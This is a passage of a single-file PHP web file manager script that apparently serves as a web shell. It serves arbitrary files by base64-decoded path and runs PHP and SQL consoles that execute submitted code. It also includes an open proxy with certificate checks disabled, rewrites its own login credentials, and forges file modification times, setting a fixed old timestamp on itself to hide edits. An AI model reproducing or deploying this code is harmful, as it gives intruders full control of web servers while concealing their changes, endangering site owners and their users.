file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . 